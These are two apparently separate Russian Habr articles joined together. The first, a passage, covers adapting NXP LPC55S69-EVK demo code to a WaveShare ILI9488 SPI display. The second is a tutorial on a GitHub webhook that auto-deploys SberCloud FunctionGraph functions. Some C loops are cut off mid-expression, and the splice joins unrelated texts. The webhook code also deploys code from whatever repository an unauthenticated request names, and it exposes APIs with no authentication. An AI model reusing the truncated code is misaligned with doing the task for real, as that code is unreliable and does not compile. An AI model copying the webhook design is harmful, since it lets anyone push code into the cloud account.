У меня есть многострадальная статья, написанная в 2017-м году, но до сих пор не увидевшая свет, где я рассматриваю принципы работы библиотеки mcucpp Константина Чижова. Там я гляжу, насколько оптимально компилятор построит ассеблерный код для подряд идущих битов, для разрыва, для двух нибблов на разных портах… После чего – останавливаюсь со словами, что более извратно не сделает ни один схемотехник. Но та статья – не про мои наработки… Моё там – только проверка. Поэтому мне не дали добро на её публикацию. Может, в комментариях кто убедит руководство, что стоит выложить… Но тем не менее. Когда я её писал, то и представить не мог, что всё-таки найдутся схемотехники, которые раскидают биты шины данных настолько хитро. Не факт, что аппарат для перемешивания шариков «Спортлото» смог бы сделать так же!
Но и это не всё! Как уже отмечалось выше, на трёх битах шины данных висят линии светодиода. Чтобы во время работы с параллельной шиной была дискотека, наверное. Почему нельзя было повесить их на другие ряды разъёма? Видно же, что разъём вдвое шире, чем его ардуиновская часть.
Всего, сказанного выше, я бы не сказал, кабы не шелкография. На плате шелкографическим способом нанесена маркировка параллельной шины. Это не я придумал, что там такая шина есть, это конструктор отметил…
### Программная поддержка
Теперь перейдём к программной поддержке. Здесь всё намного лучше. В состав BSP входит сразу две библиотеки (двоичный код знаменитого emWin и исходные коды littlevgl). К этим библиотекам прилагаются примеры прикладных программ.
Сервис All-Hardware создан для того, чтобы дать программистам пощупать работу с оборудованием, не покупая это оборудование. Само собой, программистам желательно пользоваться штатными библиотеками и примерами. Если я предложу работать с экраном через какую-то свою библиотеку, пользователи скажут про меня примерно то же, что я говорил про разработчиков аппаратуры в прошлом разделе. Не надо изобретать никакого велосипеда при наличии готовых решений!
Но вот беда – все готовые решения рассчитаны на дисплей **Adafruit TFT LCD shield w/Cap Touch**. Он подключается через порт SPI (сенсорный экран мы пока не рассматриваем – всё равно удалённо на него не понажимать). То есть, имеющийся у нас дисплей с параллельной шиной – хорош, но не годится. Мало того, что его сложно внедрить, так ещё и он будет абсолютно не совместим с готовыми программными решениями из комплекта поставки BSP.
### Выбираем экран
Где быстро добыть **Adafruit TFT LCD shield w/Cap Touch** в наших краях, я не нашёл. Но мы сделали хитрее. Мы запросили на Яндекс Маркете дисплей с контроллером ILI9341 (как у Адафрутовского) и интерфейсом SPI. Был выдан большой список. Вариант с разъёмом для Arduino и интерфейсом SPI в списке был единственный. Много вариантов было с коротким разъёмом SPI, но конструктивно же проще надевать на готовый разъём, чем что-то там городить. Ну, мы его и заказали.
Он ехал из самого Красноярска. Доставка была СДЭКом до квартиры, что в условиях самоизоляции – очень полезно. Он приехал даже на день раньше заявленного срока… А внутри посылки был точно такой же дисплей, как и показанный мною на фото в начале статьи. С параллельной шиной. Вот и верь после этого людям!
Так как у проекта сроки всё-таки должны быть конечными, мы приняли решение больше не экспериментировать с заказами, а взять что-нибудь с шиной SPI, из имеющегося в наличии. А в наличии был дисплей от Raspberry Pi фирмы WaveShare. Вообще, у него есть своё достоинство – он широко распространён.
К слову, уже позже выяснилось, что фирма WaveShare выпускает также и SPI дисплеи и с разъёмом Arduino, но они по контактам не полностью совместимы с Адафрутовскими. На другой ножке расположен сигнал C/D и есть ножка Reset\_n. Зато они имеются на Ali Express у множества продавцов. Если кто-то будет искать дисплей для себя – имейте в виду. Но нам было некогда ждать доставки с Ali Express, так что дальше будет идти работа с дисплеем от Raspberry Pi.
Часть вторая. Начинаем работу
-----------------------------
### Шаг 0: подключаем аппаратуру
Если вы пользователь сервиса All-Hardware, то можете пропустить этот шаг. Всё уже сделано на нашей стороне. Но если вы подключаете плату у себя, рассказываю, как это сделать.
Хорошо быть программистом! Намотал проводов, а дальше – забота конструкторов. У меня на столе результат коммутации выглядел так:
### Шаг 1: отключаем работу с сенсорным экраном
Итак. Входим в MCUXpresso IDE и выбираем File->New->Import SDK Example.
Далее — выбираем свою плату:
И для удобства изложения я выберу проект litegl\_example->litegl\_demo. На нём мне будет проще показывать проблемы для шага 3. Но вообще, конечно, в реальной жизни можно выбрать и littlegl\_terminal – он попроще при опытах.
Собираем, запускаем… Не работает. Это нормально. Фатальную ошибку нам выдают после попытки открытия сенсорного экрана. А у нас сенсорный экран отличается от используемого на Адафрутовской плате. В рамках данной статьи мы просто должны убрать поддержку сенсорного экрана. Как минимум, для проекта All-Hardware цели разобраться с ним не было, а чисто по-человечески – наверное, уже видно, что с продукцией NXP я не подружился. Мне больше нравятся открытые вещи. Поэтому работу с ним я не осваивал.
Но меньше лирики! Вот место, непосредственно приводящее к краху программы:
А чтобы оно не вызывалось, просто убираем общий вызов инициализации сенсорного экрана из функции **AppTask()**. На скриншоте ниже, соответствующий вызов закомментирован:
### Шаг 2: заменяем инициализацию
Запускаем получившуюся программу. Она уже не вылетает с ошибкой, но и экран ничем не заполняется. Дело в том, что библиотека рассчитана на контроллер экрана ILI9341, а фактически стоит, как я понял, ILI9488 (или совместимый с ним). Эти контроллеры достаточно близки по набору команд, но процесс инициализации у них несколько различается. Сейчас мы будем править функцию **FT9341\_Init()** в файле **fsl\_ili9341.c**. Исходно она выглядит так (я привожу скриншоты, чтобы вы могли ориентироваться также в дереве файлов):
Мы полностью удалим её тело. Вместо него впишем следующий код:
```
static const uint8_t ILI9488_regValues[] = {
0x01, 0,
0xB1, 1, 0xA0,
0xB4, 1, 0x02,
0xC0, 2, 0x17, 0x15,
0xC1, 1, 0x41,
0xC5, 3, 0x00, 0x0A, 0x80,
0x36, 1, 0x48,
0x3A, 1, 0x55,
0xE9, 1, 0x00,
0xF7, 4, 0xA9 ,0x51, 0x2C, 0x82,
0x11, 0,
TFTLCD_DELAY, 120,
0x29, 0,
// */
};
SDK_DelayAtLeastUs(ILI9341_RESET_CANCEL_MS * 1000U, SDK_DEVICE_MAXIMUM_CPU_CLOCK_FREQUENCY);
int i = 0;
while(i < sizeof(ILI9488_regValues))
{
uint8_t r = ILI9488_regValues[i++];
uint8_t len = ILI9488_regValues[i++];
uint8_t d;
if(r == TFTLCD_DELAY)
{
SDK_DelayAtLeastUs(len * 1000U, SDK_DEVICE_MAXIMUM_CPU_CLOCK_FREQUENCY);
} else
{
writeCommand(r);
for (d=0; d
```
Чтобы этот код заработал, добавим в заголовочный файл **fsl\_ili9341.h** следующие объявления:
```
#define ILI9488_NOP 0x00
#define ILI9488_SOFT_RESET 0x01
#define ILI9488_READ_ID 0x04
#define ILI9488_READ_NUM_DSI_ERR 0x05
#define ILI9488_READ_STATUS 0x00
#define ILI9488_READ_PWR_MODE 0x0A
#define ILI9488_READ_MADCTL 0x0B
#define ILI9488_READ_PIXEL_FMT 0x0C
#define ILI9488_READ_IMG_MODE 0x0D
#define ILI9488_READ_SIGNAL_MODE 0x0E
#define ILI9488_READ_SELF_DIAG_RES 0x0F
#define ILI9488_SLEEP_IN 0x10
#define ILI9488_SLEEP_OUT 0x11
#define ILI9488_PARTIAL_MODE_ON 0x12
#define ILI9488_NORMAL_MODE_ON 0x13
#define ILI9488_INVERSION_OFF 0x20
#define ILI9488_INVERSION_ON 0x21
#define ILI9488_ALL_PIXEL_OFF 0x22
#define ILI9488_ALL_PIXEL_ON 0x23
#define ILI9488_OFF 0x28
#define ILI9488_ON 0x29
#define ILI9488_COL_ADDR_SET 0x2A
#define ILI9488_PAGE_ADDR_SET 0x2B
#define ILI9488_MEM_WRITE 0x2C
#define ILI9488_MEM_READ 0x2E
#define ILI9488_PARTIAL_AREA 0x30
#define ILI9488_VSCROLL_DEF 0x33
#define ILI9488_TEARING_EFFECT_LINE_OFF 0x34
#define ILI9488_TEARING_EFFECT_LINE_ON 0x35
#define ILI9488_MEM_ACCESS_CTRL 0x36
#define ILI9488_VSCROLL_START_ADDR 0x37
#define ILI9488_IDLE_MODE_OFF 0x38
#define ILI9488_IDLE_MODE_ON 0x39
#define ILI9488_INTERFACE_PIXEL_FMT 0x3A
#define ILI9488_MEM_WRITE_CONTINUE 0x3C
#define ILI9488_MEM_READ_CONTINUE 0x3E
#define ILI9488_WRITE_TEAR_SCAN_LINE 0x44
#define ILI9488_READ_TEAR_SCAN_LINE 0x45
#define ILI9488_WRITE_BRIGHTNESS_VAL 0x51
#define ILI9488_READ_BRIGHTNESS_VAL 0x52
#define ILI9488_WRITE_CTRL_VAL 0x53
#define ILI9488_READ_CTRL_VAL 0x54
#define ILI9488_WRITE_CONTENT_ADAPT_BRIGHTN_CTRL_VAL 0x55
#define ILI9488_READ_CONTENT_ADAPT_BRIGHTN_CTRL_VAL 0x56
#define ILI9488_WRITE_CABC_MIN_BRIGHTN 0x5E
#define ILI9488_READ_CABC_MIN_BRIGHTN 0x5F
#define ILI9488_READ_AUTO_BRIGHTN_CTRL_SELF_DIAG_RES 0x68
#define ILI9488_READ_ID1 0xDA
#define ILI9488_READ_ID2 0xDB
#define ILI9488_READ_ID3 0xDC
#define TFTLCD_DELAY 0xFF
```
### Шаг 3: Правим функцию установки координат
Возможно, этот шаг требуется только пользователям дисплеев от WaveShare и не требуется для владельцев дисплеев с чистым SPI разъёмом. Нет возможности проверить. Но на имеющемся дисплее, после того как в инициализацию внесены изменения, экран начал что-то отображать. Правда, это что-то сосредоточено в его верхней части. Сразу после запуска программы, видно, как там что-то мелькает, а затем – получается вот такая картинка:
При трассировке видно, что в верхней части экрана последовательно отображается то, что вообще-то должно разъехаться по всей его высоте. После массы опытов я доказал, что проблемный код сосредоточен в теле функции **DEMO\_FlushDisplay()**:
Там явно задаются координаты для вывода, а вывод всегда идёт с координат 0,0. Почему? После долгих опытов, я сделал следующее предположение.
Вот формат команды COLADDR из документации на контроллер ILI9488:
Обратите внимание, что аргументы передаются через младший байт, а биты 23:8 – отмечены, как XX.
Но из этого же документа видно, что при использовании SPI, это не важно. Теперь смотрим схему дисплея от WaveShare. И видим, что по шлейфу данные уходят в параллельном виде. Да-да! Именно так! Именно в параллельном! Но они этого не скрывают, схема доступна свободно! Вот разъём для шлейфа:
В параллельный вид всё приводится при помощи двух регистров сдвига:
А стробы формируются счётчиком и прочей логикой:
Когда мы посылаем данные при помощи DMA, сигнал CS не сбрасывается на протяжении всей посылки. Есть мнение (я не стал вглядываться в детали такой сложно читаемой схемы, так что только мнение), что если сигнал CS сбросить после восьми бит, уйдёт восьмибитная посылка. Иначе – шестнадцати битная.
В итоге, в нашей функции вместо четырёх байт с координатами, в физический шлейф уйдёт два 16 битных слова, координаты в которых будут отформатированы неверно.
Зная эту теорию, переписываем проблемную функцию так:
```
static void DEMO_FlushDisplay(int32_t x1, int32_t y1, int32_t x2, int32_t y2, const lv_color_t *color_p)
{
uint8_t data[4];
const uint8_t *pdata = (const uint8_t *)color_p;
uint32_t send_size = (x2 - x1 + 1) * (y2 - y1 + 1) * LCD_FB_BYTE_PER_PIXEL;
/*Column addresses*/
DEMO_SPI_LCD_WriteCmd(ILI9341_CMD_COLADDR);
DEMO_SPI_LCD_WriteData (x1 >> 8);
DEMO_SPI_LCD_WriteData (x1);
DEMO_SPI_LCD_WriteData (x2 >> 8);
DEMO_SPI_LCD_WriteData (x2);
/*Page addresses*/
DEMO_SPI_LCD_WriteCmd(ILI9341_CMD_PAGEADDR);
DEMO_SPI_LCD_WriteData (y1 >> 8);
DEMO_SPI_LCD_WriteData (y1);
DEMO_SPI_LCD_WriteData (y2 >> 8);
DEMO_SPI_LCD_WriteData (y2);
/*Memory write*/
DEMO_SPI_LCD_WriteCmd(ILI9341_CMD_GRAM);
DEMO_SPI_LCD_WriteMultiData(pdata, send_size);
lv_flush_ready();
}
```
И вот результат:
### Шаг 4: Чиним полярность тактового сигнала и цвета
Что меня сильно смущает в картинке — это цвета. Тем более, что когда я стал писать демку для проекта All-Hardware, она у меня получалась какая-то дальтоническая. Выбирал синий или зелёный цвета — всё было хорошо. А выбирал красный — получал чёрный. Ерунда какая-то!
Но я уже привык решать проблему с цветами не аналитически, а опытным путём. Я всегда выдаю на экран настроечную таблицу. Сказывается опыт работы на телевизионном заводе. В целевой библиотеке функция **DEMO\_FlushDisplay()** получает на вход блоки, шириной в экран и высотой 40 строк. Это я выяснил при её трассировке для третьего шага. Ну и замечательно. Вставим туда код, который переписывает буфер на бегущую единицу. Сделаем на экране 16 вертикальных полос. Первая будет иметь цвет 0x0001, вторая — 0x0002, третья — 0x0004… И так — до 0x8000. И посмотрим, какие фактические цвета это даст. Вот код, реализующий эту доработку, внедрённый в функцию:
```
{
uint16_t *pdata16 = (uint16_t *)color_p;
int i;
uint32_t send_size16 = (x2 - x1 + 1) * (y2 - y1 + 1);
int wordsPerColor = (x2 - x1 + 1) / 16;
for (i=0;i
```
Результат меня озадачил. Вот он:
То, что зелёный цвет разорван — это нормально. Типичный случай переставленных байтов. В библиотеке littlevgl не только это учтено, но даже этот режим включён по умолчанию.
Удивительно другое. Слева — четыре зелёных полосы. Вот так выглядит в двоичном виде запись цветов по схеме 565: BBBBBGGGGGGRRRRR (R и B можно менять местами через настройки контроллера дисплея, к этому сейчас не цепляемся). Разбиваем 16 бит на байты. Получаем BBBBBGGG GGGRRRRR. Переставляем байты местами. Получаем GGGRRRRR BBBBBGGG. То есть, слева должно быть не четыре, а три зелёных полосы. А справа — не две, а тоже три. А у нас — четыре и две! Налицо сдвиг битов при передаче.
Вообще, в сдвиге виновато наложение особенностей схемы от WaveShare на особенности передачи данных в библиотеке, но во время опытов я выявил и ошибку в самой библиотеке. Именно поэтому я выше сказал, что в программной части всё намного лучше. Сначала я хотел написать, что в программной части всё идеально. Увы. Только намного лучше, чем в аппаратной.
На коротких дорожках проблема не проявляется, но на длинных проводах у меня бывали сбои. Оказывается, программисты включили тактирование данных отрицательным фронтом сигнала SCK. Всё бы ничего, но и описание регистра сдвига 74HC4094 (кстати, именно «94», хотя на схеме выше фирма WaveShare написала «49») и в документации на ILI9341 (который стоит у Адафрута) написано, что тактировать надо положительным перепадом. Настройка полярности производится тут:
Меняем:
```
BOARD_LCD_SPI.Control(ARM_SPI_MODE_MASTER | ARM_SPI_CPOL1_CPHA0 | ARM_SPI_DATA_BITS(8), BOARD_LCD_SPI_BAUDRATE);
```
на:
```
BOARD_LCD_SPI.Control(ARM_SPI_MODE_MASTER | ARM_SPI_CPOL0_CPHA0 | ARM_SPI_DATA_BITS(8), BOARD_LCD_SPI_BAUDRATE);
```
(то есть, CPOL1 на CPOL0). Всё бы ничего, но экран от Малины перестаёт работать вообще. И экспериментировать с параметром бесполезно. Или экран не работает вообще, или данные сдвинуты на один бит. Тем не менее, правильно — именно так, как я написал. Просто сейчас сделаем ещё одну правку. Чтобы понять её, мне пришлось потратить сутки. Пришлось много тыкаться осциллографом в мелкую логику на дисплее. Также я таки разрисовал логику работы аппаратуры WaveShare и понял, что при положительной полярности тактового сигнала, восьмибитные данные никогда не будут защёлкнуты на выходе регистра сдвига. Чип селект будет снят раньше. А при отрицательной же полярности 16 битные данные защёлкиваются на 1 такт раньше. Вот такое противоречие.
Какой выход? Правильно: привести всё к единому решению. Будем посылать команды тоже в 16 битном виде. Для этого в том же файле переписываем две функции. Они настолько тривиальны, что я просто приведу их текст, как их следует переделать:
```
static void DEMO_SPI_LCD_WriteCmd(uint8_t Data)
{
GPIO_PortClear(BOARD_LCD_DC_GPIO, BOARD_LCD_DC_GPIO_PORT, 1u << BOARD_LCD_DC_GPIO_PIN);
uint8_t temp[2];
temp[0] = 0;
temp [1] = Data;
BOARD_LCD_SPI.Send(temp, 2);
SPI_WaitEvent();
}
static void DEMO_SPI_LCD_WriteData(uint8_t Data)
{
GPIO_PortSet(BOARD_LCD_DC_GPIO, BOARD_LCD_DC_GPIO_PORT, 1u << BOARD_LCD_DC_GPIO_PIN);
uint8_t temp[2];
temp[0] = 0;
temp [1] = Data;
BOARD_LCD_SPI.Send(temp, 2);
SPI_WaitEvent();
}
```
Настроечная таблица становится правильной — по три зелёных полосы слева и справа:
Убираем вспомогательный код, получаем правдоподобные цвета интерфейса:
Заключение
----------
Мы познакомились с частным мнением автора о том, что макетная плата LPC55S69-EVK собрала в себе максимум примеров, показывающих, как не надо делать. А также научились выбирать для неё жидкокристаллических дисплей и выводить на него изображение, пользуясь штатными библиотеками из среды разработки, внося в них как можно меньшее количество изменений. | https://habr.com/ru/post/504322/ | null | ru | null |
# Облако для всех. Строим CI/CD pipeline для бессерверных функций
В публичном облаке SberCloud.Advanced, построенном на технологиях Huawei, имеется крайне полезный сервис бессерверных вычислений – Function Graph. С его помощью можно быстро набросать код для решения конкретной бизнес-задачи и запустить его на выполнение, не тратя время на развертывание и настройку отдельных серверов. Но все это замечательно и очень удобно, пока речь идет всего о паре функций. А если таких функций уже больше 5 и они активно развиваются, то это уже похоже на проект, а проект нужно ставить на контроль и организовывать хоть и простейший, но процесс. И конечно, важнейшим элементом такого процесса станет управление кодом в рамках системы контроля версий, к примеру – GitHub.
Дело в том, что Function Graph не поддерживает какую-либо интеграцию с системами контроля версий и перейти от «наколенной» разработки к промышленной с помощью встроенных средств невозможно. Впрочем, как оказалось, такую интеграцию нетрудно сделать самостоятельно с помощью того же самого Function Graph.
Возможности данной интеграции и рассмотренный ниже сценарий будут интересны стартапам и независимым разработчикам. Во-первых, это не потребует больших бюджетов на развертывание и использования других облачных ресурсов, потребление которых повлечет дополнительную стоимость. Во-вторых, в условиях малочисленной команды, данный процесс легко контролировать и, интегрировав GitHub вручную единожды, использовать этот инструмент на протяжении жизненного цикла всего проекта. Как это сделать – покажем в этой статье.
Итак, для того чтобы сделать интеграцию с GitHub воспользуемся тем, что он предоставляет возможность вызывать внешний webhook при наступлении какого-то события. В данном случае интересует фиксация изменений в мастер ветке. В качестве внешнего вебхука будем делать... конечно же функцию на FunctionGraph, вызов которой будет осуществляться через API Gateway. Далее эта функция будет получать список новых/измененных файлов и создавать/обновлять функции, забирая код из файлов репозитория и публикуя код этих файлов через АПИ облака. Схема процесса представлена на картинке:
Для автоматического деплоймента функций потребуется определить некоторые общие соглашения. К примеру, Function Graph умеет объединять функции в виртуальные «приложения», будем использовать название репозитория в GitHub как название такого приложения. Далее, при регистрации функций как бэкенда в API Gateway, потребуется дать название каждому API, и тут опять же по умолчанию применяем общий шаблон вида API\_<название файла> (пример: код функции лежит в файле «clients.js», при публикации API получит имя API\_clients\_js). Все эти соглашения видны в коде функции и могут быть изменены по вашему усмотрение.
Не лишним будет упомянуть, что для упрощения процедуры развертывания, будем писать код функций на скриптовых языках, в данном случае - на NodeJS, которые не требуют какой либо предварительной компиляции перед публикацией кода. Также предполагаем, что сами функции будут выполнять роль «контроллеров» для логических сущностей и в представленном демо они будут выполнять базовые CRUD операции.
План действий следующий:
1. [Создаем функцию для CI-CD процесса. Потребуется создать IAM Agency для управления облачной инфраструктурой](#cicdfunction)
2. [Подготавливаем окружение для проекта:](#projectenv)
* [Создаем API группу в API Gateway](#newapigroup)
* [Получаем идентификаторы сети](#getnetid)
* [Создаем IAM Agency для доступа к виртуальной сети](#newiamagency4vpc)
* [Генерируем зависимости, загружаем пакета, получаем идентификатор](#dependencies)
* [Прописываем параметры как переменных в CI-CD функции](#functionenv)
3. [Регистрируем API Gateway триггер для CI-CD функции и получаем ссылку для вебхука.](#newapigtrigger)
4. [Регистрируем вебхук в настройках репозитория GitHub.](#webhooksetup)
5. [Создаем приложение проекта.](#newapp)
Поехали.
### Функция для обработки событий из GitHub.
Для начала создадим собственно функцию в Function Graph, которая будет работать как webhook для приема событий из GitHub. Создайте функцию, выбрав Node.JS 12.13 как рантайм. Скопируйте код функции, который приведен ниже.
Код функции для приема событий из GitHub
```
const https=require("https");
exports.handler = async (event, context) => {
let eventBody = JSON.parse(Buffer.from(event.body, 'base64').toString('ascii'));
//Getting the name of the dependency package
const dependencyPackageID = context.getUserData("dependency_package");
let token = context.getToken();
let project_id = context.getProjectID();
//Getting the list of existing functions
const getFunctionsParams = {
host: "functiongraph.ru-moscow-1.hc.sbercloud.ru",
method: "GET",
path: "/v2/"+project_id+"/fgs/functions",
headers: { "X-Auth-Token": token }
}
const function_list = JSON.parse(await httpRequest(getFunctionsParams));
//Getting the list of all APIs inside our project API group
const getApisParams={
host: "apig.ru-moscow-1.hc.sbercloud.ru",
method: "GET",
path: "/v1.0/apigw/apis?group_id="+context.getUserData("api_group_id"),
headers: { "Content-Type":"application/json", "X-Auth-Token": token }
}
let apisList = JSON.parse(await httpRequest(getApisParams));
//Getting all files - both added and modified and pushing the changes into the FG functions
for (const filename of eventBody.head_commit.modified.concat(eventBody.head_commit.added)){
func_name = filename.replace(".js","_js");
const fileGetParams={
host: "raw.githubusercontent.com",
method: "GET",
port: 443,
path: "/"+eventBody.repository.full_name+"/"+eventBody.after+'/'+filename,
headers: {Accept: "application/vnd.github.v3+json", "user-agent":"function graph"}
}
let fileBody = await httpRequest(fileGetParams)
let functionExists = function_list.functions.find(item =>{
return item.func_name == func_name
})
let func_urn = functionExists ? functionExists.func_urn : undefined;
let http_path = "/v2/"+project_id+"/fgs/functions" + (functionExists ? "/"+func_urn+"/code" :"");
let http_method = functionExists ? "PUT": "POST";
const createFunctionParams = {
host: "functiongraph.ru-moscow-1.hc.sbercloud.ru",
method: http_method,
path: http_path,
headers: { "Content-Type":"application/json", "X-Auth-Token": token }
}
//Function connection parameters, must be provided as string inside the function creation object
const userData = {
dbhost: context.getUserData("dbhost"),
dbuser: context.getUserData("dbuser"),
dbpwd: context.getUserData("dbpwd"),
databasename: context.getUserData("databasename")
}
const functionData = {
func_name: func_name,
package:eventBody.repository.name,
code_type:"inline",
code_filename: "index.js",
handler:"index.handler",
memory_size:256,
runtime:"Node.js12.13",
timeout: 30,
depend_list: [dependencyPackageID],
func_code : {
file:Buffer.from(fileBody).toString('base64')
},
xrole: context.getUserData("vpc_access_agency_name"),
func_vpc:{
vpc_id: context.getUserData("vpc_id"),
subnet_id: context.getUserData("subnet_id")
},
user_data: JSON.stringify(userData)
}
let createResult = await httpRequest(createFunctionParams, JSON.stringify(functionData));
const funcInfo = JSON.parse(createResult)
//Looking for a API for this function
var existingAPI = apisList.apis.find(item=>{
return item.name=="API_"+func_name;
});
if (!existingAPI)
{
//Registering function in API Gateway
const createAPIRequest={
group_id: context.getUserData("api_group_id"),
name: "API_"+func_name,
type: 1,
req_method: "ANY", //Allows any HTTP method so we can use this function as Controller
req_uri: "/api/"+func_name,
match_mode: "SWA", //We need Prefix match to be able to bypass URI with parameters to this function
auth_type: "None",
backend_type: "FUNCTION",
func_info : {
function_urn: funcInfo.func_urn,
invocation_type: "sync",
timeout: 30000
}
}
const createAPIParams={
host: "apig.ru-moscow-1.hc.sbercloud.ru",
method: "POST",
path: "/v1.0/apigw/apis",
headers: { "Content-Type":"application/json", "X-Auth-Token": token }
}
const registerAPIResult=await httpRequest(createAPIParams, JSON.stringify(createAPIRequest));
const registeredAPI = JSON.parse(registerAPIResult);
existingAPI = registeredAPI;
}
if (!existingAPI.publish_id)
{
const publishAPIRequest={
env_id: "DEFAULT_ENVIRONMENT_RELEASE_ID",
remark: "published by GitHub webhook"
}
const publishAPIParams={
host: "apig.ru-moscow-1.hc.sbercloud.ru",
method: "POST",
path: '/v1.0/apigw/apis/publish/'+existingAPI.id,
headers: { "Content-Type":"application/json", "X-Auth-Token": token }
}
const publishAPIResult = await httpRequest(publishAPIParams, JSON.stringify(publishAPIRequest));
}
}
console.log('Successfully deployed functions:'+eventBody.head_commit.modified.concat(eventBody.head_commit.added).join(', '));
const output =
{
'statusCode': 200,
'headers':
{
'Content-Type': 'text/plain'
},
'isBase64Encoded': false,
'body': 'OK'
}
return output;
}
//function to "promisify" http requests
function httpRequest(params, postData) {
return new Promise(function(resolve, reject) {
try {
var req = https.request(params, function(res) {
var body = [];
res.on('data', function(chunk) {
body.push(chunk);
});
// resolve on end
res.on('end', function() {
try {
body = Buffer.concat(body).toString();
} catch(e) {
reject(e);
}
resolve(body);
});
});
// reject on request error
req.on('error', function(err) {
reject(err);
});
if (postData) {
req.write(postData);
}
req.end();
}
catch(e){
console.log(e);
reject(e);
}
});
}
```
Для этой функции нужно провести некоторую настройку. Во-первых, потребуется указать IAM Agency, которое обладает правами на управление облаком. В нашем случае такие права нужны на сам сервис Function Graph, а также на API Gateway (чтобы регистрировать наши функции как бэкенд). Для этого открываем сервис IAM и создаем там агенство с нужными правами на доступ к Function Graph:
На той же странице добавляем еще одно право доступа, которое называется APIG Administrator – оно потребуется для того чтобы можно было автоматически регистрировать новые функции в API Gateway.
На странице Configuration нашей функции нужно выбрать это агенство:
На этой же странице конфигурации необходимо задать ряд параметров для функции, которые определяют условия развертывания проекта.
Подготовка окружения для проекта
--------------------------------
При запуске проекта потребуется решить как минимум вопрос о том, в какой виртуальной сети он будет работать, ведь функции вряд ли будут работать сами по себе, им потребуется доступ к другим сервисам и базам данных. Кроме этого, к этим функциям необходимо обращаться. Сами по себе функции можно запустить из консоли облака, но чтобы они были доступны через HTTP запросы, потребуется сервис API Gateway. Сбором этих настроек дальше и займемся.
### Создание API группы в API Gateway
Для того, чтобы код проекта был доступен извне, потребуется регистрация наших функций как бэкенда в API Gateway. В-общем, это стандартный паттерн – пишете необходимый бэкенд, а во внешний мир ваш бэкенд смотрит через «единое окно» в виде некоего единого АПИ. Обеспечивает это «единое окно» сервис API Gateway. Поэтому первое, что потребуется, это создать группу, которая будет объединять все функции в единый проект и будет обеспечивать общую точку входа для всех функций проекта.
После того как группа создана, необходимо получить ее идентификатор. Как его найти, показано на скриншоте:
### Получение идентификаторов сети
С сетями все гораздо проще. Откройте раздел Virtual Private Cloud, щелкните по разделу Virtual Private Cloud:
выберите в списке свою сеть и в свойствах сети скопируйте ID:
Теперь там же, слева, выберите Subnets, найдите свою подсеть, в которой будет работать ваша функция и в свойствах подсети скопируйте поле Network\_id. Важно (!): необходим именно network\_id, а не subnet\_id:
### Создание IAM Agency для доступа к виртуальной сети
Чтобы функция могла обращаться к прочим сервисам в вашей вируальной сети, недостаточно собственно параметров самой сети. Для функции нужно указать IAM Agency, в котором будет право доступа к сети. Для создания агенства перейдите в Identification and Access Management (IAM), выберите пункт Agencies и создайте агенство. Настройка показана на скриншоте:
### Генерация зависимостей, загрузка пакета, получение идентификатора
Можно гарантировать со 100% вероятностью, что встроенных модулей, доступных в функции без подключения внешних пакетов, вам не хватит. В обычном проекте вы устанавливаете зависимости через менеджер пакетов. В случае с функцией Function Graph, все зависимости нужно подготовить до первого запуска функции. В деталях процесс подготовки пакета [описан в документации](https://support.hc.sbercloud.ru/en-us/usermanual/functiongraph/functiongraph_01_0391.html).
После того, как пакет подготовлен и загружен в соответствующий раздел, нужно найти его внутренний технический идентификатор. Для этого в разделе Dependencies наведите курсов на поле Address в строке с вашим пакетом и скопируйте название zip файла из этого адреса (см скриншот):
### Подготовка параметров CI-CD функции
Теперь необходимо прописать все собранные на предыдущих шагах значения в настройках CI-CD функции. Для этого открываем функцию, переходим в раздел Configuration и в блоке Environment Variables создаем 5 значений:
Назначение параметров:
| | |
| --- | --- |
| dependency\_package | Идентификатор пакета с зависимостями. |
| vpc\_id | Идентификатор сети |
| subnet\_id | Идентификатор подсети |
| vpc\_access\_agency\_name | Название агенства с правами доступа к сети |
| api\_group\_id | Идентификатор API группы для внешнего доступа к функции. |
Если функции вашего проекта требуют дополнительных настроек, например для доступа к БД, логично их также ввести здесь и при развертывании кода указывать также и эти настройки. В представленном коде так и сделано для настроек доступа к БД.
Регистрация API Gateway триггера для функции и получение ссылки для вызова вебхука
----------------------------------------------------------------------------------
Итак, закончили с конфигурацией проекта и внесли все параметры в настройки нашей CI/CD функции. Теперь нужно назначить триггер, с помощью которого функцию можно будет вызвать с помощью HTTP запроса и использовать в качестве вебхука. Для этого на закладке Triggers для функции нажмите Create Trigger, выберите тип триггера API Gateway. Рекомендуется создать отдельную API Group, чтобы адрес вызова для проекта не пересекался с адресом для вашего вебхука. Создайте группу, вернитесь в окно регистрации триггера и завершите его создание согласно скриншоту:
В списке триггеров появится плашка, из которой скопируйте URL – это и будет адрес нашего вебхука для регистрации в GitHub:
Настройка webhook в репозитории GitHub
--------------------------------------
Настройка webhook для репозитория производится очень просто, откройте настройки репозитория, выберите раздел webhooks и нажмите кнопку Add webhook:
Подготовка шаблона проекта
--------------------------
Вся подготовка выполнена, осталось написать код. Для быстрого старта в предложенном сценарии подготовлен шаблон такой функции – типичного «контроллера», который можно использовать как отправную точку для развития проекта. Шаблон представляет собой простейший вариант API для CRUD операций над данными. Для примера, была взята база данных с таблицей продуктов и реализованы основные операции создания/редактирования/удаления записей. Для функции также нужны настройки доступа к БД, они устанавливаются из конфигурации основной CI/CD функции.
Пример кода "контроллера"
```
//import section. Request your dependencies here
let mysql = require('mysql');
//Main function, that receive events.
exports.handler = async (event, context) => {
/*Where to get information for controller
HTTPMethod: event.httpMethod
extra path: event.pathParameters[""]. For example, if your api is located at /api/function/ path and
you are calling /api/function/details/123, then event.pathParameters[""]
will contain "details/123"
body: event.body, but it is base64 encoded. So to get body as object, use:
const eventBody = JSON.parse(Buffer.from(event.body, 'base64').toString('ascii'))
query: path.queryStringParameters. Example: /api/function?search=something, this object will look like:
{
search: "something"
}
*/
const eventBody = event.body ? JSON.parse(Buffer.from(event.body, 'base64').toString('ascii')): {}
var controllerOutput={
body: {},
contentType: "application/json"
}
/* Database connection preparation */
var connection = mysql.createConnection({
host : context.getUserData("dbhost"),
user : context.getUserData("dbuser"),
password : context.getUserData("dbpwd"),
database : context.getUserData("databasename")
});
connection.connect();
/*
Typical CRUD controller: action depends on HTTP method
*/
switch (event.httpMethod) {
case "GET":
//GET could mean "Get list" and "Get One"
if (event.pathParameters[""])
{
//When pathParameters is not empty, then we have url like /api/products/{id}
controllerOutput = await getProductDetails(connection, event.pathParameters[""])
}
else
{
//When nothing in the path - we are looking for the list
controllerOutput = await getProducts(connection, event.queryStringParameters.name);
}
break;
case "POST":
controllerOutput = await createProduct(connection, eventBody);
break;
case "PUT":
controllerOutput = await updateProduct(connection, eventBody);
break;
